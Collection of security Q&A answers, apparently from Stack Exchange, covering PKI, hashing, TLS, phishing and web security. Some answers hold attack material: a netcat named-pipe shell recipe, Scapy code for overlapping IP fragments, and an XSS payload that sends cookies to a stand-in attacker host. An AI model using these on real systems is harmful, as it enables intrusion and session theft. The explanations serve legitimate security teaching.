Although you plan to use SSL everywhere, which is great! My comments below explore the possibility that there is no SSL in use.
1 - URL & HTTP Verb is not signed
In your sample above, the intended destination of the payload is not included in the payload signature. Consider if the payload could be captured, it could be redirected to another undesired location. Perhaps a request intended to be sent to /users/123 is routed to /users/456, or a request sent to 'v1.api.mysite.com' is sent to 'v2.api.mysite.com', or a POST is changed to a PATCH.
2 - Keyrolling Support
This may be outside the scope of your question, but I see no support to roll the signing key without the possibility of customer impact. It would be advantageous if your service could maintain two authorized secrets for a given public id. This way the key could be rotated regularly (say out of an abundance of caution) without tight coordination between client & service.
3 - Signing 'Agility'
What happens to your application if a new weakness is found in SHA2 or the current HMAC construction? What if you have a client that prefers to use ECDSA over HMAC? Consider having a version number, or signature 'scheme' identifier as part of the signed payload. This way your service can understand what approach the client has used to sign the payload.
4 - Too Old
You mention in your post that the service can reject requests that are too old (to mitigate replay attacks). What if the client doesn't agree with your definition of too old? Consider allowing the client to specify how old is too old in the signed payload. Again, this is not so much a weakness in your approach at generating signatures, more of a comment on the protocol in general.
5 - Other Nits

The 'nonce' field looks redundant. You already have a random GUID serving as a request id, unless your service requires the nonce, this can be safely removed.

Depending on your JSON parser (& how/when you deseralize), this may not catch all modifications to your payload. For example, if I modify the payload to escape a character that does not require escaping, the result is semantically equivalent. Because you are deseralizing the JSON before verifying if it's been modified, you may be vulnerable to attacks seeking to exploit your deseralizer, or attacks targeting subtle bugs in how escaped characters are handled.

But lastly, I repeat what I said earlier - signing your request may be redundant when you only support SSL as the transport. Simply authenticating your caller may be sufficient.


Should I use a Certificate Revocation List?

First of, CRL do not cover root CA. By definition, a root CA is a root: it has no issuer except itself. A CRL conveys revocation information, which is a way for a certificate issuer to announce that a previously issued certificate should be considered as invalid even though it looks fine and its signature is correct and everything. Thus, a CRL that talks about a certificate C is something that comes from the issuer of C. Since a root CA has no issuer, it cannot be revoked.

In other words, if your root CA is compromised, you are in deep trouble. This is why people who are serious about certificates use a three-level structure:

A root CA is created and maintained on an offline machine, that is kept in a safe or some shielded room. It is powered regularly (say, on a monthly basis) to sign a CRL, but that's about all.
An intermediate CA is awarded a certificate by the root CA, as a one-time procedure.
All user certificates are issued by the intermediate CA.

If the intermediate CA is compromised (which is conceivable, since it is used often and thus is probably part of a network), then the root can still issue a CRL that revokes that intermediate CA.

That being said, you should consider that there are two PKI instances at work in your case. With SSL/TLS and client certificates:

The server owns a certificate, that the client validates.
The client owns a certificate, that the server validates.

These two certificates may live in separate world, issued by distinct CA.

For the server certificate, you need the client to have access to all information required to make sure that the server certificate is valid, and this includes regularly issued CRL or something equivalent (OCSP responses...). I suppose here that you do not issue that certificate yourself; instead, you buy an "SSL certificate" from some commercial CA, because the root CA is already distributed in all client systems, and that CA issues and publishes CRL.

Now let's see about the client certificates. These certificates are to be validated by your server. And you are also the one who will decide which certificates are to be revoked. In other words, any CRL here would be a mechanism by which you will agree with yourself. In that sense, this is entirely your business and you can fulfil that functionality in any way as you see fit. For instance, you could maintain, on the server, some SQL table that lists the thumbprints of client certificates that are to be rejected, and revocation would simply be adding an entry in that table. When you talk to yourself, you do not necessarily need to sign your mental messages !

Regardless, you still need the ability to revoke certificates, or something similar. At this point, you must understand that there is a difference between authentication (making sure that the client who talks to you is Bob) and authorization (deciding what Bob should be allowed to do). Suppose that Bob's private key is compromised:

Since Bob's key may be in the wrong hands, you can no longer accept Bob's certificate as a proof of Bob's identity. That certificate should be "cancelled" in some way (e.g. revocation).
Since certificate revocation is asynchronous, you also need a "fast block" system that will keep any purported Bob out of the system immediately. This is done on the authorization layer: you temporarily "disable" Bob's account, or set his access rights to "nothing".
Bob is still Bob, though, a (possibly paying) customer. He will want to connect again, and it should work. Therefore, Bob's access rights will have to be enabled again. However, you should do that only when Bob has been issued a new certificate (with a new public/private key pair, of course) and Bob's old certificate is now rejected by your server.

Therefore, you really need, in all generality, a way to reject certificates that would otherwise look fine. Revocation is such a way; another one is to issue only very short-lived certificates (valid for, say, one week at most), but this requires pushing new certificates to clients on a daily or weekly basis, and client software is not necessarily up to such a task. The normal method is thus to issue long-lived certificates to clients (valid for one or a few years) and to maintain, on the server side, a mechanism that allows arbitrary rejection of certificates. Conceptually, that mechanism is as simple as having a list of "undesirable certificates" that the server consults. A CRL is a standard formatting for such a list, that the issuing CA signs to allow transport over unsecured mediums. However, as explained above, this list is to be transferred between your CA and your server, which may be the same machine, and do not necessarily need such a signature.


Does having /sbin/nologin mean I cannot start the /bin/sh executable?

Most probably, your problem has nothing to do with the login shell. Having a version of nc that supports the -e option is a great exception. Most netcats don't support -e.
This article explains what you have to do in this case. You have to split the shell creation into 2 parts, first you create a pipe with

mknod /tmp/mypipe p

and then you create the shell by redirecting stdin and stdout to the pipe and thereby to nc.


Should the salt of a bcrypt hashed password be stored separately

No, as you have seen, the salt is part of the resulting hash value (the 22 characters after the cost factor). The BCrypt.Verify() function will extract the salt from the stored hash, so it is pointless to store it separately.

You can call the function with only one parameter, the library will then generate a salt and the cost factor on its own:

string passwordHash = BCrypt.HashPassword(password);
// or if you want to specify the cost factor
passwordHash = BCrypt.HashPassword(password, 12);


Is there a way to isolate the VPN connection specific for a single software?

I would isolate the VPN for a specific route.
This can be achieved with the system routing configuration.

This specific routing options for a VPN are called in general Split tunneling.

Is the software contacting always the same endpoint at the other side? Then it's pretty easy, since you only have to add a single IP (subnet) to route through the VPN.


Can a DNS provider take action if a phishing attempt comes from one of their domains?

I will reluctantly reserve comment on the trustworthiness of GoDaddy since you can look that up yourself.

But the DNS service has little responsibility. However, the hosting provider is a different matter - in some countries at least.

There is nothing stopping you reporting it, though, to the abuse mailbox for the GoDaddy registrar, it is possible they will take action, especially if lots of people do the same. If they have their act together, they might also pass on the information to other authorities that could aggregate such intelligence and the address may end up in a blocklist.

Howeverx2, you'd need to ask yourself whether you have the time to do this for each piece of spam you get through.


The overlapping fragment attack using Scapy

Create a fake IP header hinting proto=tcp. Note that you cannot modify IP header fields with a fragment overlap as we are talking about IP payload fragmentation. Set the MF More Fragments flag and indicate that this is the first fragment by setting the offset to 0 frag=0. Create another IP packet with the same IP.id, IP.src, IP.dst, IP.proto with the MF flag not being set (last fragment does not have MF bit set). This packet is going to overlap IP payload at a specific offset therefore set the fragment offset frag=x where the actual position in your payload is x*8 i.e. offset=1 is the position of byte 8 (this would be the TCP checksum).

Here's a simple example:

# create two IP packets, one with 1480 payload bytes and one with 4 payload bytes
# initial payload is TCP with sport/dport being 9999

frags = fragment(IP(dst=dstIP)/TCP(sport=9999,dport=9999)/("FAKE"*(1464//4)))

# [<IP  flags=MF frag=0 proto=tcp dst=10.0.2.17 |<Raw  load="'\x0f'\x0f\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xd5n\x00\x00FAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKEFAKE" |>>, <IP  flags= frag=185 proto=tcp dst=10.0.2.17 |<Raw  load='FAKE' |>>]
# overwrite the 4 payload bytes of fragment 2 to overlap the reassembled IP packet at offset 0 to overwrite sport/dport to port 80,80

frags[1][Raw].load=struct.pack("!HH",80,80)  # network byteorder
frags[1][IP].frag=0
# <IP  flags= frag=0 proto=tcp dst=10.0.2.17 |<Raw  load='\x00P\x00P' |>>

# send your fragments and watch them being reassembled in wireshark/...
# they should show up the initial IP/TCP/sport=dport=9999 packet but with sport/dport being set to 80
send(frags)

This will reassemble to:

IP(dst=dstIP)/TCP(sport=80,dport=80)/("FAKE"*(1460//4))

Note that you still have to fix the TCP checksum and modern firewalls usually employ IP defragmentation and TCP stream reassembly in order to evaluate the actual reassembled packet/segment instead of one of its fragments.


Re-sign Certificate Using Different Hashing Algorithm

When you install ADCS, you get the option of generating a new key pair, or reusing an existing key pair. The sentence you quote seems to indicate the latter:

You export the certificate and private key from an existing CA, as a PFX file.
You import the PFX into a Windows Server 2012 machine.
You install ADCS on that machine, directing it to reuse the private key you just imported. ADCS then proceeds to generate and sign its certificate, using the private key you indicated.
You re-export the certificate and key from that new ADCS, again as a PFX file, and import that back into the original machine.

The first PFX file contains a certificate and a private key because that's what PFX files are for, but the certificate is completely ignored here; only the private key matters. It just happens that Microsoft tools are unable to process a private key travelling "alone"; they always access keys through certificates, so there must be a certificate.

During the import in the 2012 machine, you need to add a -csp "Microsoft Software Key Storage Provider" option so that the private key is handled in the new crypto system (CNG) because the old one (CryptoAPI) does not know SHA-256.

Of course that's a bit weird to go through an additional Windows 2012 machine, since Windows 2008 or Windows 7 perfectly know how to do crypto with SHA-256. In any case, with a bit of programming, it is not ultimately hard to decode tbsCertificate from the existing certificate, rehash it with SHA-256, compute the signature, and wrap the whole set into a new certificate. Of course you'd have to understand how the whole ASN.1/DER encoding works, but if you want to manage a CA properly you almost need to know that anyway, so you'd better get it done now.

By suggesting an extra system, one may even suspect that Microsoft is making money out of selling Windows licenses !


How can I be sure that an intranet app is absolutely not accessible from the internet?

Some configurations that come in my mind:

Don't place the server in a DMZ
Accept connections on 192.168.0.0 addresses in the Apache configuration.
Place a deny from all + accept from with the correct range of IP in your apache configuration
Deny forwarding of VPN connections (?) in your firewall (if applicable).


Certification or Course equivalent to OSWE?

I'm not sure that such question is a good fit for this website but anyway...

I have heard good things about eLearnSecurity certifications which seems to be the de-facto alternative to the eternally """soon-to-be-published-but-not-ready-yet""" OSWE.

However, they do not seem to have yet a lot of recognition in job offers and last time I checked the certification exam was one week long, making it hardly compatible with a full-time job (I hope and guess that sometime they will change this. Yes you can do your exam during your vacation, but in case of a technical issue during the exam you are screwed.).


ISO27001 Certification - Business Incident

27001 certification is about your ISMS, not your controls. If a control stops working, it doesn't impact your certification.

Of course, if a control stops working, and your ISMS doesn't detect and fix that problem, then that impacts your certification....


HeartBleed and Closed Source Hardware like Cisco

With closed source you cannot do much besides trusting the vendor.

But I think this is not so much a discussion about open or closed source as OpenSSL is  open source and the the bug was not discovered for years - so this is no guarantee at all.

Specifically for heartbleed you can i.e. deactivate the heartbeat functionality in OpenSSL which makes the attack impossible to happen.

In the wild I've seen companies, where I know that their servers where vulnerable, catching the heartbeat packages on the firewall/IDP level and making the attack impossible as no heartbleed packet was able to reach the server until they were able to patch the servers.


What is the safest Google account recovery option?

The most secure option is to buy two U2F devices (about $20 USD each), register both, and put one in a safe deposit box.

SMS can be redirected to voicemail (with easy password brute forcing), and is susceptible to phishing

TOTP is safer but is still susceptible to phishing

U2F is not susceptible to phishing

You have to provide your phone number first with Google, but you can remove it after having setup the 2 U2F devices. You also need to use Chrome, or a Firefox extension


A XSS attack occurs when you send input to the server and the server returns your input as a response without validating it. In this case the vulnerability is on the server webpage (lack of validation) and this webpage is your scope authority. However, the attack doesn't compromise the webpage itself. It compromises the user's browser. This is where the scope change is occurring.
In a CSRF attack,the vulnerability is again on the webpage (no authorization tokens) but in this case the attack doesn't compromise the user's browser, it compromises just the particular webpage with the vulnerability, because a crafted request will only work on the specific website for which it was crafted, thus the scope is unchanged. (the vulnerability and the compromise are in the same component).
I think anon in his comment explained perfectly what the authorization authorization authority is. But hopefully this will give you more clarity.


Should I be using ECDSA keys instead of RSA?

For "bits of security", see something like this comparison.

For why ECC over Prime Field gives you security equivalent to half the bit size, while RSA and FFDHE give much less security per-bit, it's because the strength of RSA against the best known attack is calculated like this while the strength of ECC against best known attack is calculated like this.

The NIST P-256/384/521 curves are safe, and ECDH over them and the ECDSA algorithm are safe, but they are a previous generation of curves and algorithms. The advancement since then has been in three areas:

Choosing a curve in a non-arbitrary way so that it is much more "nothing up my sleeve", to ensure the curve isn't one in which the NSA have a way to break crypto faster than brute force, which people worry about. You shouldn't worry IMO, for these reasons, but some people consider it a reason to upgrade from NIST curves.
Ease of implementation, or equivalently, chance of a random implementation turning out to be secure.
Performance.

The state of the art currently and the ECC systems recommended by everyone is X25519 ECDH (Curve25519 ECDH) and Ed25519 Digital Signatures / long term keys. Basically everyone agrees they are better than NIST P-256 ECDH and ECDSA. A drawback is that they are not supported in HSMs and hardware tokens like Yubikeys.

If you can use software SSH host keys, you should use Ed25519 host keys.

If you can use software SSH user keys, you should use Ed25519 user keys.

If you can use curve25519 key exchange, you should use it.

The fallback for 25519 is NISP P-256. The fallback for P-256 is RSA and FFDHE, with at least 2048 bits (up to 4096 bits), both with SHA2 and not with SHA1. RSA with SHA1 and FFDHE with SHA1 are not allowed anymore.

Note that all of these systems will fall if and when someone builds a big enough quantum computer. To solve this problem, people are working on "post quantum" replacements that will be secure even if the adversary has a quantum computer. NIST is waiting for PQ Crypto competition to end, issue recommendations and standards, hardware crypto device vendors to start selling PQ devices, and everyone will upgrade to the PQ algos.

Because this upgrade is imminent (in NIST time frames), they have decided to not urge everyone to upgrade from P-256 to Curve25519, or even from RSA to ECC. NSA basically said to save your budget for the PQ upgrade.

People using SSH keys not stored in hardware devices have upgraded though, and everyone has upgraded ECDH because ephemeral keys don't need hardware secure storage.

Even the ossified TLS ecosystem (not SSH) has upgraded to X25519 ECDH, though they can't upgrade to Ed25519 because there are no HSMs available and they basically decided to wait for PQ crypto standards and HSMs. The standards / RFCs are available, it's just nobody uses them.


Why am I allowed to add exception for some sites but not others when using a proxy with a self signed cert?

I think I figured it out after posting. It pays to pay attention to the errors I guess.

Firefox says

  This site uses HTTP Strict Transport Security (HSTS) to specify that
  Firefox may only connect to it securely. As a result, it is not
  possible to add an exception for this certificate.


Is it secure for a user to manually reset his password on every login when OTP isn't forced?

I cannot see any direct security problems, but there can be side effects.

On some systems, the user and/or the admins are warned that a password was changed. Changing a password everyday could add noise there. Another possible test is that changing very often a password could be an indicator that something weird happens with that account and here again the user and admins could be warned of that.

Some systems can use password synchronization. Ok SSO is better, but not all systems support it, that is the reason why password synchronization can be used. When a password is successfully changed in one system, a request to set the new password is sent to another system. Under abnormal conditions (network problems) the request can be queued, or lost. In the first case, the passwords become different during a variable but short period, in the second one, the passwords go out of sync until next reset. This is seldom observed in normal conditions because you need the simultaneous occurence of 2 events: a password change and a network problem. But if a password is changed everyday on such a system, you can expect to fall in that trap.


Is it possible to execute xss under these conditions?

First and foremost XSS is entirely dependent on context.  Forcing all input though the same filter will never work all of the time.  This is just not how web applications deal with the problem of XSS.  The biggest problem with this method of XSS protection is that it is not binary safe. HTML Entity encoding will preserve the value without leading to XSS.

Most of these proposed restrictions have no impact on a given web applications susceptibility to XSS.  The most obvious problem is checking for alert and prompt,  as these are strings that will never appear in a real attack. This is because a real attacker wants to be undetected, an alert box is a dead give away.

To answer your question,  YES,  there are numerous conditions in which an attacker could obtain XSS given these arbitrary restrictions.  What comes to mind first is DOM Based XSS and DOM Event Injection.

Plain old reflective XSS will also work in a number of situations,  the following is a PoC payload, assuming the attacker is already writing within a <script> tag:

document.location=document.referrer+document.cookie

In this casedocument.referrer is where the reflective XSS payload originated from lets call it http://attacker/cookie_thief.php?c=.  In this payload the victim's browser will be redirected back to http://attacker/cookie_thief.php?c= by the XSS payload,  and the c GET variable will be populated with the cookie value.


Transferred domain to new registrar, ordered "id protection", but my info is available in whois

You haven't said which service you have registered the domain through so it is difficult to say what their "ID Protection" service is. Assuming that it is the provision of a private registration - then the company you registered through should be the registered owner on the WHOIS directory. As your name is appearing on the WHOIS lookup, it would appear that the registry has made a mistake in their process and not denoted that a private registration has taken place.

This is opinion, but I would contact their customer service and highlight the issue through their channels.


To be noted that I'm only interested in securing my data against common computer theft, not against governments.

Hard-drive encryption only helps against data at rest. If someone uses a vulnerability in your running system, it doesn't help at all.

So, when your threat scenario is that someone remotely steals your data, this doesn't help at all.

In case you need to protect against unauthorized access to an unused (i.e. powered off, not mounted) storage device, for built-in storage devices (hard drives, SSDs), don't use either of your softwares. Simply use the device's own security (basically all modern SSDs have that, and many hard drives); whilst hardware encryption is hard to audit, it's highly unlikely a non-state attacker can gain access to your data. The drive won't give you access to the ciphertext, and if you try to brute-force the password, you will simply be permanently locked out. Also, since this happens before your OS even boots, usually there's no traces in software-accessible RAM of the password or use a software keylogger to sniff it.

For exchangeable storage (USB sticks etc), it essentially doesn't matter and you should choose what fits your application best. Often, simply encrypting the backup files before putting them into backup actually is simpler from a data management perspective – you can simply copy the same files savely from one drive to the next without decrypting them, for example.


I suspect the openSSL man pages might be of some assistance:

  If the basicConstraints extension is absent then the certificate is considered to be a "possible CA" other extensions are checked according to the intended use of the certificate. A warning is given in this case because the certificate should really not be regarded as a CA: however it is allowed to be a CA to work around some broken software.

i.e. the KeyUsage/ExtendedKeyUsage would (it seems) be used to guess.

Taken from https://www.openssl.org/docs/manmaster/man1/x509.html, Certificate Extensions section.

This seems (to me) to be different to what the openssl cookbook says (https://www.feistyduck.com/library/openssl-cookbook/online/ch-openssl.html):

  The Basic Constraints extension is used to mark certificates as belonging to a CA, giving them the ability to sign other certificates. Non-CA certificates will either have this extension omitted or will have the value of CA set to FALSE. This extension is critical, which means that all software-consuming certificates must understand its meaning.

Checking the man page for x509v3_config (https://www.openssl.org/docs/manmaster/man5/x509v3_config.html - see Standard Extensions section), one possible issue is your syntax.

They provide the following as their examples:

basicConstraints=CA:TRUE

basicConstraints=CA:FALSE

basicConstraints=critical,CA:TRUE, pathlen:0

They provide one additional way of achieving similar results:

basicConstraints=critical,@bs_section

[bs_section]

CA=true
pathlen=1

I would just amend your config to read:

basicConstraints=CA:FALSE

In place of:

basicConstraints        = critical,CA:false

This way, your profile is explicit, and should override any other (possibly opposite) config being applied elsewhere.


Does encapsulation of encryption within a library provide some kind of additional security?

There's a saying in security: If an adversary has physical access to your hardware, it's not your hardware anymore. HSMs try to circumvent that rule, but even they aren't perfect; nothing is. HSMs will only delay the attacker for longer and up the stakes, making them want to default to an easier target. Because of that, no, it's not secure against the firmware creator.

There is one important security consideration I think you're missing, though. You're writing a crypto library. That means someone will be using that crypto library. And that person probably isn't a cybersecurity engineer. They might not even be a good programmer. By not passing back the key, you're effectively protecting them from themselves. That will help security.


The best way is to not serve the files directly at all, but serve them via a handler.  This way you can store the files wherever you like, (which has advantages of its own, and not just security advantages) and the handler can process both  authentication and authorization checks before making the decision as to whether it should present the file to the user or not.


E-mail spoofing is possible because Simple Mail Transfer Protocol (SMTP), the main protocol used in sending e-mail, does not include an authentication mechanism. The MAIL FROM:  header has got, by default, no checks to see that the sending system is authorized to send on behalf of that address.This means you can send an email and instead if using your real email address in the MAIL FROM header you specify some other address.

The only way of making sure an email is legitemately coming from a certain person is by using GPG/PGP. Pretty Good Privacy (PGP) is a data encryption and decryption computer program that provides cryptographic privacy and authentication for data communication. PGP is often used for signing, encrypting, and decrypting texts, e-mails, files, directories, and whole disk partitions and to increase the security of e-mail communications.


Expressing the risk of not having a security policy (e.g. ISO 27002, chapter 5)

As an optimist I would say: you are looking at this half-right.
You are right about the fact, that not having a security policy creates risks.
You are not right about that this does not include business risks. ISO/IEC 27000 itself says under chapter 3.6:

A large number of factors are critical to the successful implementation of an ISMS to allow an organization to meet its business objectives. Examples of critical success factors include the following:
a) information security policy, objectives, and activities aligned with objectives;

To correct your question further: The risk the organization is facing is not being not compliant with the ISO norm, the risk lies in the consequences that ensue from not having a security policy.
What are those consequences? These are threats that the respective organization might face because of the non-existence of a security policy. ISO27005 has some examples in Annex C under "Compromise of information" or "Unauthorised actions". See Annex D for pairing with vulnerabilities to make things perfectly clear.
For example:

Lack of procedures for classified information handling  - Error in use

This vulnerability and the paired threat are corresponding to a missing policy for handling classified information. An organization needs a policy like that, which describes how classified information is handled and who has access to it under what circumstances etc. After a policy has been worked out and presented to all employees, is has to be enforcedin varying degrees.
If there is no policy -> it can't be enforced -> there can't be any procedures -> classified information will be handled poorly => for instance: employees don't shred secret files before throwing them away.
(You can find all this in chapter 8.2 in the ISO/IEC 27002 norm.)
So how do you describe the risk in the end?
Exactly like you would describe any other risk. The only difference is, that this one is much more impactful. Just follow the risk assessment process in ISO/IEC 27005 and imagine an organization that has no security policy.
It's all in the norms, you just have to look know where.


Database Security Best Practices for E-Commerce Site

The main reasons are that you want to put as many obstacles in the way of an attacker as possible, and put different security measures in place for your database server than for your web server.

In general, web servers - being exposed to the public internet and all that - are considered fairly vulnerable. Therefore, you want to keep as little sensitive data on those servers as possible. It would be tragic if a vulnerability in your web server configuration allowed access to the raw database files, or the backups etc. This is why most organizations put the web servers in a "DMZ" - a zone which is not fully trusted. The DMZ is often separated from the rest of the infrastructure via separate network segments and a firewall.

You also want to be able to have different security settings for your database server; often, different people should have access, and different apps should be installed. This is easier to achieve with a separate system.

I often explain this decision by reminding people that they don't leave their wallet on display in the car - you lock it away!


Unauthenticated pairing with encryption is vulnerable to man-in-the-middle attacks by virtue of being unauthenticated. The use of ECDH does not protect from active MITM attacks, only from passive monitoring. It is a misconception to believe that ECDH (or any other key exchange mechanism) on its own can protect against such attacks. Another answer explains how ECDH protects against only passive attacks, but is never able to protect from an active attack such as an MITM.

Unauthenticated pairing without encryption does not protect from any attack.
Unauthenticated pairing with encryption protects only from passive attacks.
Authenticated pairing with encryption protects from both passive and active attacks.


Buffer overflow: Why does the ESP Register change its value after access violation

As you correctly pointed out ESP always points at the top of the stack. Also stack overflows occur due to an overflow of a buffer on the stack (not due to an overflow of lets say a malloc-allocated buffer). So when you do:

char* buf[100];

you are actually allocating some space on the stack for your buffer. To illustrate this:

This buffer's initial state/contents, before it gets overwritten with our input, is unknown and can be observed using a debugger, like gdb. So if you go and overflow that buffer with your input, you will overwrite everything that exists on the stack (check the above image to see in what direction the overflow will occur), so you will overwrite EIP to point to whatever you want it to point to. Now, when a function returns (most of the times using RET instruction) it pops EIP and also performs: add esp, 4. In this way ESP will point to the last parameter pushed on the stack when the function was called, in your example/picture this parameter is Arg 1 (since arguments are pushed on the stack in reverse order). So the picture you posted is correct and shows the state of ESP when the function returns. So if you find an instruction like jmp esp etc... you can directly jump to the location of your payload.

But that is not the only exploitable case. So, its a good practise to use a debugger and observe if any register points to your payload, and if it does search for a jmp reg instruction. For example, in this post, you can see that both ESP and EDI point to the payload.


"pagesinxt.com" links in the sourcecode, am I being hacked?

If the script appears in the source for the page, but when you look at the source for the page on the server you aren't seeing it, one of several things could be happening.

1) It could be your computer that is infected with malware, and not the server, and the injection is coming from something running on your computer.

2) The injection is coming from an external file referenced by the page, such as a server side include, or an external JavaScript file that is writing the malicious code.

3) The injection could be coming from somewhere else in the response process, like a response filter that modifies all response streams before returning them to the client.

A quick search tells me that others have seen similar malware being delivered via an external JavaScript reference, so that is the first place I'd look.  See if you page is referencing any JavaScript files that contain any code you don't recognize or understand.   It likely will be obfuscated, and so will not look like what you see in the page source.


Does the existence of a SHA-1 collision mean any passwords hashed with it are insecure?

No more than they were already. The method of generating the collision demonstrated requires the ability to modify and insert relatively large volumes of data, in both colliding files. In other words, you can generate a pair of colliding files, but not generate a collision with an arbitrary file, using this specific method. In password terms, this means that unless you used a password supplied by an attacker, which is several kb long, the attacker wouldn't be able to use their own password (also several kb long) to access your account through a hash collision. Obviously, in this case, they could also just use the password they gave you.

However, any passwords which are hashed with SHA-1 should be considered as insecurely stored anyway - modern hardware means that it is possible to try hundreds of thousands of potential passwords, even if salted, per second. Hashing algorithms designed for password storage slow down this testing process massively, which also makes finding potential collisions much slower.


How can I do a secure reinstallation on an android device?

As always, everything depends on the nature of the attacker. How determined are they, what resources have they, are they targeting you specifically?

If your concern is regular, non-targeted malware, you should be OK if you keep a clean SD card with a custom recovery manager on it, and use that to flash the ROM. It's important that you use that card for nothing else, and never have it in the device unless you're booting from it.

This means you need a clean device at some point to create that clean SD card, and later to update the ROM.

If you are facing a targeted attack from a well resourced attacker, things get more serious, and you'll probably need to switch to a "burner phone" model, where you throw the phone in the trash every few days and buy a new one.


Can a 3rd party validate the origin of an HTTPS session?

Possibly, sometimes.

What's exchanged in the initial handshake is not just a symmetric key, but rather a "master key" for the session from which the client and server implementations of the selected cipher suite can extract keys for various purposes.

A cipher suite is split into a number of algorithms for different functionality:

Key exhange
Bulk encryption
Message authenticity

For example, TLS_DHE_RSA_AES_256_CBC_SHA256 would use ephemeral Diffie-Hellman and RSA for the key exchange, AES-256 for bulk encryption, and HMAC-SHA256 for message authenticity.

When the key exchange happens at the start, the long-term RSA key from the certificate is used to sign Diffie-Hellman key exchange parameters. The DH key exchange is used to agree upon a master key. The master key is then used to derive other keys, including 256 bits for the AES key (encryption key) and a number of bits for the authentication key (used in HMAC-SHA256, in this case).

Each record is authenticated using the authentication algorithm defined in the cipher suite. Usually, this is a HMAC hash.

Now, in terms of proving that the data was received after the fact, there are two cases:

If a non-ephemeral key exchange is used (e.g. RSA key exchange, not DHE or ECDHE) then the captured traffic can be entirely recovered, including validity of the authenticity hashes, given the private key of the server certificate.
If an ephemeral key exchange is used, then even if you get hold of the long-term key (server's private key) after a connection has occurred, you cannot recover the master key, and therefore you can't recover the messages or prove the validity of the messages. This is due to a property known as "forward secrecy", which arises due to the fact that the private elements of the key exchange are generated specifically for that session, and are discarded when the key exchange completes.

If, at the time of the connection, you decide that you do want to prove the content at a later date, you could save the master key of the session somewhere. By giving this key to the 3rd party who captured the conversation, you could show them the contents and they'd be able to see that the authenticity records were valid.


My Apple ID has been compromised. What do I do?

I received a near identical email and at first thought it was legit from Apple too.  The use of genuine Apple links in the footer and the genuine Apple ID URL (https://appleid.apple.com) are very convincing.

However, if you hover your mouse over that URL in the message (on a Mac or Windows - can't do it in iOS), you will find that the hyperlink hiding behind it is actually to a phishing site, not the the Apple ID URL.

The three day delay for two-factor authentication doesn't sound right to me also.  I suspect that you have been phished and that the phisher has included that to stop people immediately blocking use of the Apple ID/password combination.


Why do we need to sign the self-signed certificate?

A certificate is a kind of envelope that contains a public key, some attributes defined for what purposes this certificate can be used, and the signature of the issuer.

Without signature there is no certificate. If you don't sign certificate, it is not certificate. You cannot add a plain public key to the trust store, you can only add a certificate.

What key you use, does not matter. You can generate a fresh key pair, generate a certificate for public key and sign it using the private key of this pair. Self-signed mean that the certificate is signed by the private key that matches the public key contained in this certificate.


Can webcams be turned on without the indicator light?

Most definitely,  but in order to do this you would probably have to patch the camera's firmware and then flash it.   Similar attacks have been used to disable the "shutter sound" on cameras.


Does CRIME also compromise basic access authentication?

The CRIME attack is about making the target client to send phony GET requests to the server, such that each request:

contains the path chosen by the attacker,
and also contains some secret value that the attacker is interested in.

A practical implementation, when the client is a Web browser, is some malicious Javascript which manipulates the DOM to make hidden <img> tags. Each such tag makes the client do a GET to the server.

If the client is configured to automatically send the user password, as part of Basic Authentication, in the relevant header for each request, then it can be attacked just like a cookie. CRIME applies.

An important point, though, is that CRIME is a Chosen-Plaintext Attack: it works in contexts where the attacker can make the victim issue requests containing both the secret value, and some data that the attacker can choose. This certainly applies to a Web browser, but not necessarily to other contexts such as a custom XML-RPC client. It really depends on what the requests contain.

